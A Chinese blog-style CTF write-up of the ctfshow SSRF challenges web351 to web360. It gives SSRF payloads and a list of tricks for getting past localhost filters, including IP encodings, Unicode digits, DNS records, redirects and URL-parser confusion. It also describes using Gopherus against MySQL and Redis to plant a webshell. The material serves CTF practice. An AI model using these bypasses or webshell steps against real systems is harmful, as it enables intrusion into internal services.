您当前的位置: 首页 > 

ThnPkm

暂无认证

  • 1浏览

    0关注

    98博文

    0收益

  • 0浏览

    0点赞

    0打赏

    0留言

私信
关注
热门博文

ctfshow SSRF

ThnPkm 发布时间:2022-03-21 13:41:43 ,浏览量:1

这位师傅讲的非常详细

目录

web351

web352

web353

web354

web355

web356

web357

web358

web359

web360

web351

给了一段代码,不知道什么意思就去查看PHP cURL 函数 | 菜鸟教程


这代码其实就是没有做任何防护,我们的目的就是 进入内网获取信息

直接post

url=http://127.0.0.1/flag.php
web352
$x=parse_url($url);
if($x['scheme']==='http'||$x['scheme']==='https'){
if(!preg_match('/localhost|127.0.0/')){

记录一下parse_url()的作用

http://u:p@a.com:80@b.com/

php解析结果:

schema: http

host: b.com

user: u

pass: p@a.com:80

所以这题只需满足是http或者https就行,根本没影响

稍作过滤, 127.0.0.1的绕过方式太多了,  

127.0.0.1绕过-进制转换
 
十进制 2130706433
 
八进制 017700000001
 
二进制 0b1111111000000000000000000000001 
十六进制 0x7f000001
http://localhost/       # localhost就是代指127.0.0.1
http://0/               # 0在window下代表0.0.0.0,而在liunx下代表127.0.0.1
http://[0:0:0:0:0:ffff:127.0.0.1]/    # 在liunx下可用,window测试了下不行
http://[::]:80/           # 在liunx下可用,window测试了下不行
http://127。0。0。1/       # 用中文句号绕过
http://①②⑦.⓪.⓪.①
http://127.1/
http://127.00000.00000.001/ # 0的数量多一点少一点都没影响,最后还是会指向127.0.0.1
web353
if(!preg_match('/localhost|127\.0\.|\。/i', $url))

同上 

web354
if(!preg_match('/localhost|1|0|。/i', $url))

0和1都禁用了,想拿http://①②⑦.⓪.⓪.①来绕过,但是没有反应

看大佬修改自己域名的a记录,也去尝试一下

域名解析的记录值修改成127.0.0.1

 payload:

url=http://自己的域名/flag.php
web355
$host=$x['host'];
if((strlen($host)

PHP FILTER_VALIDATE_IP 过滤器 | 菜鸟教程

PHP filter_var() 函数 | 菜鸟教程

看教程用302跳转,就是在自己的服务器上写一个php文件,内容如下

然后访问这个文件

url=http://thnpkm.xyz/ssrf.php
web358
if(preg_match('/^http:\/\/ctf\..*show$/i',$url)){
    echo file_get_contents($url);

以ctf开头,show结尾,有个操作用@和?

在@前加的内容都不会被解析成host的内容,而#或?后面的的内容也不会被解析到path中

url=http://ctf.@127.0.0.1/flag.php?show

 

web359

打无密码的mysql

完全是跟着wp来尝试,就是通过Gopherus把一句话写进网站根目录,语句要正确

 然后复制过去 

下划线后面的值再url编码一次,然后执行

这样一句话打进去后就可以在a.php 下rce了 

web360

打redis

也是看wp学操作, 进入redis

默认是在shell.php执行,操作方式与上题一样,下划线后url编码 

自己没弄出来,可能把题目环境搞崩了

关注
打赏
1660722558
查看更多评论
立即登录/注册

微信扫码登录

0.0411s